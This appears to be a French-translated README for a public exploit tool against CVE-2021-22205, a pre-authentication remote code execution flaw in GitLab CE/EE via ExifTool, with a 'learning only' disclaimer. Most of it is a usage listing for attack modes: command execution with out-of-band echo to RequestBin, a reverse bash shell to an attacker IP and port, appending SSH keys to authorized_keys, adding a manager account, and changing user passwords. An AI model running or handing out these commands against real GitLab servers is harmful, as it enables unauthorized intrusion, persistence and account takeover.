
GitLab CE/EE Preauth RCE utilisant ExifTool
GitLab CE/EE RCE pré-authentifié via ExifTool
Ce projet est uniquement destiné à l'apprentissage. Si les droits de quelqu'un ont été violés, veuillez me contacter pour retirer le projet. Enfin, NE L'UTILISEZ PAS ILLÉGALEMENT. Si vous avez un comportement illégal lors de l'utilisation de cet outil, vous en assumerez toutes les conséquences. Tous les développeurs et tous les contributeurs de cet outil n'assument aucune responsabilité légale et conjointe.
Un problème a été découvert dans GitLab CE/EE affectant toutes les versions à partir de 11.9. GitLab ne validait pas correctement les fichiers image passés à un analyseur de fichiers, ce qui a entraîné une exécution de commande à distance.
Versions concernées :
Détection de version Gitlab via le hash dans Webpack manifest.json
Interactions automatiques hors bande avec DNSLog & PostBin RequestBin
Support du Reverse Bash Shell / Ajout de clé SSH à authorized_keys
Support de ENTER pour modifier et restaurer le mot de passe utilisateur gitlab
🐚 ››› python CVE-2021-22205.py
░░░░▐▐░░░ CVE-2021-22205
▐ ░░░░░▄██▄▄ GitLab CE/EE Unauthenticated RCE using ExifTool
▀▀██████▀░░ Affecting all versions starting from 11.9
░░▐▐░░▐▐░░ security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild
▒▒▒▐▐▒▒▐▐▒ github.com/inspiringz/CVE-2021-22205
Usage:
python3 CVE-2021-22205.py -u site_url -m detect # gitlab version & vuln detect
python3 CVE-2021-22205.py -u site_url -m rce1 'id' # rce (echo via requestbin oob)
python3 CVE-2021-22205.py -u site_url -m rce2 'id' # rce (echo via write file) *
python3 CVE-2021-22205.py -u site_url -m rev ip port # reverse bash shell
python3 CVE-2021-22205.py -u site_url -m ssh git/root # append ssh authorized_keys
python3 CVE-2021-22205.py -u site_url -m add user pass # add manager account *
python3 CVE-2021-22205.py -u site_url -m mod user # modify specified user's password => P4ss@GitLab
python3 CVE-2021-22205.py -u site_url -m rec user # restore specified user's original password
site_url : http[s]://<domain|ip>[:port]/, par exemple : https://example.com:9000/* sont instables, peuvent ne pas fonctionner :(Detect:

RCE(Echo via RequestBin OOB):

Reverse Bash Shell:

Append SSH Key to authorized_keys:

Gitlab user password modification and restoration:
